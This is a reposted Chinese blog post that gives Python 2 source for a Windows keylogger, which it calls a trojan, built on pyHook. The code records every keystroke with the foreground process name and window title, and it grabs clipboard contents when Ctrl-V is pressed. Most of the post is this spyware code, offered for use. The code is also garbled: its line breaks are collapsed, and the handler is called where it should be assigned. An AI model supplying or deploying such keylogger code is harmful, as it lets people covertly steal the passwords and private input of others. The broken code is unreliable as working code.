python实现键盘记录木马
生活随笔
收集整理的這篇文章主要介紹了
python实现键盘记录木马
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
pyHook
第三方庫,用于捕捉特定的Windows事件,封裝了所有底層調(diào)用,我們
只需要關(guān)注程序邏輯。
更多內(nèi)容及使用方法請自行查找
下載鏈接:http://sourceforge.net/projects/pyhook/
主干邏輯圖
當程序運行后,每當用戶在鍵盤按下一個鍵,就會觸發(fā)鉤子函數(shù),調(diào)用 鍵盤記錄函數(shù) 記錄按鍵內(nèi)容,該函數(shù)又會調(diào)用 進程切換函數(shù) 來應(yīng)對焦點窗口切換的情況并打印出相應(yīng)的進程名稱。
代碼及注釋
引用及定義部分
# !/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'xy'from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None進程切換函數(shù)
def get_current_process():# 獲得窗口句柄hwnd = user32.GetForegroundWindow()# 獲得進程IDpid = c_ulong(0)user32.GetWindowThreadProcessID(hwnd, byref(pid))# 保存當前進程IDprocess_id = "%d" % pid.value# 申請內(nèi)存executable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseName(h_process, None, byref(executable), 512)# 讀取窗口標題window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title), 512)# 輸出print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)# 關(guān)閉句柄kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)鍵盤記錄函數(shù)
def KeyStroke(event):global current_window# 檢查目標是否切換窗口if event.WindowName != current_window:current_window = event.WindowNameget_current_process()# 檢測按鍵是否為常規(guī)鍵if event.Ascii > 32 and event.Ascii < 127:print chr(event.Ascii),else:# 如果輸入為ctrl-v 則獲取剪貼板內(nèi)容if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,return True主函數(shù)
# 創(chuàng)建和注冊鉤子函數(shù)管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke()# 注冊鍵盤記錄的鉤子并永久執(zhí)行 kl.HookKeyboard() pythoncom.PumpMessages()總結(jié)
以上是生活随笔為你收集整理的python实现键盘记录木马的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: xss获取键盘记录实验演示
- 下一篇: 用python六行代码写一个简单的键盘记